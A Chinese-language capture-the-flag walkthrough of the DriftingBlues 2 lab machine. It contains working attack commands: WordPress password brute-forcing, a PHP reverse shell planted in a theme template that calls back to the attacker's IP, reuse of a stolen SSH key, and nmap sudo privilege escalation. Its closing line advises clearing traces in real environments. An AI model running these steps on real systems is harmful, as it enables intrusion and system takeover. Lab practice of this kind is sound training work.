从匿名FTP到Root权限:DriftingBlues 2靶机渗透实战解析

1. 靶机环境搭建与网络扫描

DriftingBlues 2是VulnHub上一个经典的入门级渗透测试靶机,难度标记为"简单",非常适合新手练习从信息收集到提权的完整流程。我们先在VirtualBox中导入靶机镜像,网络模式选择Host-Only,确保攻击机Kali(192.168.9.7)与靶机处于同一局域网。这里有个细节要注意:VirtualBox的Host-Only网卡需要与VMware桥接模式网卡绑定,否则可能出现网络不通的情况。

网络扫描是渗透测试的第一步,我习惯先用四种方式交叉验证:

  • arp-scan -I eth0 -l快速定位存活主机
  • masscan 192.168.9.0/24 -p 80,22闪电式端口扫描
  • netdiscover -i eth0 -r 192.168.9.0/24可视化主机发现
  • 终极武器nmap -A -sV -T4 -p- 192.168.9.23全端口深度扫描

扫描结果显示三个关键端口:

  • 21/tcp:ProFTPD服务,支持匿名登录(重大突破口)
  • 22/tcp:OpenSSH 7.9p1(后续渗透通道)
  • 80/tcp:Apache 2.4.38(Web应用入口)

2. 漏洞枚举与初步渗透

2.1 FTP匿名登录突破

nmap结果中ftp-anon: Anonymous FTP login allowed这行字让我眼前一亮。使用ftp 192.168.9.23连接,用户名填anonymous,密码为空即可登录。里面唯一的文件secret.jpg下载到本地后,用exiftoolbinwalk分析却一无所获——这是个典型的干扰项,新手容易在这里浪费时间。

2.2 Web目录爆破与指纹识别

80端口的网页看似空白,但用dirsearch -u http://192.168.9.23/ -e php,html,txt扫描发现关键路径/blog/。这是个WordPress站点,页面源代码里藏了个彩蛋:driftingblues.box这个域名。将其添加到/etc/hosts文件后,页面样式正常加载了。

WPScan是WordPress渗透的瑞士军刀,执行:

wpscan --url http://driftingblues.box/blog/ -e ap,at,u

参数说明:

  • -e ap扫描所有插件
  • -e at扫描所有主题
  • -e u枚举用户

扫描结果曝出用户名albert,用rockyou.txt字典爆破:

wpscan --url http://driftingblues.box/blog/ -U albert -P /usr/share/wordlists/rockyou.txt

十分钟后拿到密码"scotland1"。

3. WordPress后台getshell实战

登录WordPress后台后,在"外观-主题编辑器"中找到404.php模板。将Kali自带的php-reverse-shell代码粘贴进去,注意修改连接IP和端口:

<?php $sock=fsockopen("192.168.9.7",6666); exec("/bin/sh -i <&3 >&3 2>&3"); ?>

在Kali上启动监听:

nc -lvnp 6666

访问不存在的页面触发shell,比如http://driftingblues.box/blog/index.php/test。获得反弹shell后,用Python升级交互式终端:

python3 -c 'import pty; pty.spawn("/bin/bash")'

4. 横向移动与SSH私钥利用

在/home目录发现用户freddie,其.ssh文件夹中藏着id_rsa私钥文件。将私钥复制到攻击机后,需要处理三个关键步骤:

  1. 修正文件权限:chmod 600 id_rsa
  2. 转换换行符:dos2unix id_rsa
  3. 连接测试:ssh -i id_rsa freddie@192.168.9.23

成功登录后找到user.txt第一个flag。检查sudo权限时发现惊喜:

sudo -l User freddie may run the following commands on driftingblues: (ALL) NOPASSWD: /usr/bin/nmap

5. Nmap特权升级终极之战

GTFOBins提供了nmap的sudo提权方案,这里我测试了两种可靠方法:

方法一:交互模式提权

sudo nmap --interactive nmap> !sh

方法二:脚本执行提权

TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF sudo nmap --script=$TF

获得root shell后,经典的python3 -c 'import pty; pty.spawn("/bin/bash")'让终端更稳定,最终在/root目录找到flag2。整个渗透过程涉及FTP匿名访问、WordPress漏洞利用、SSH私钥复用和sudo提权四大技术点,每个环节都值得新手反复练习。记得在真实环境中,获取权限后要及时清理痕迹,保持职业操守。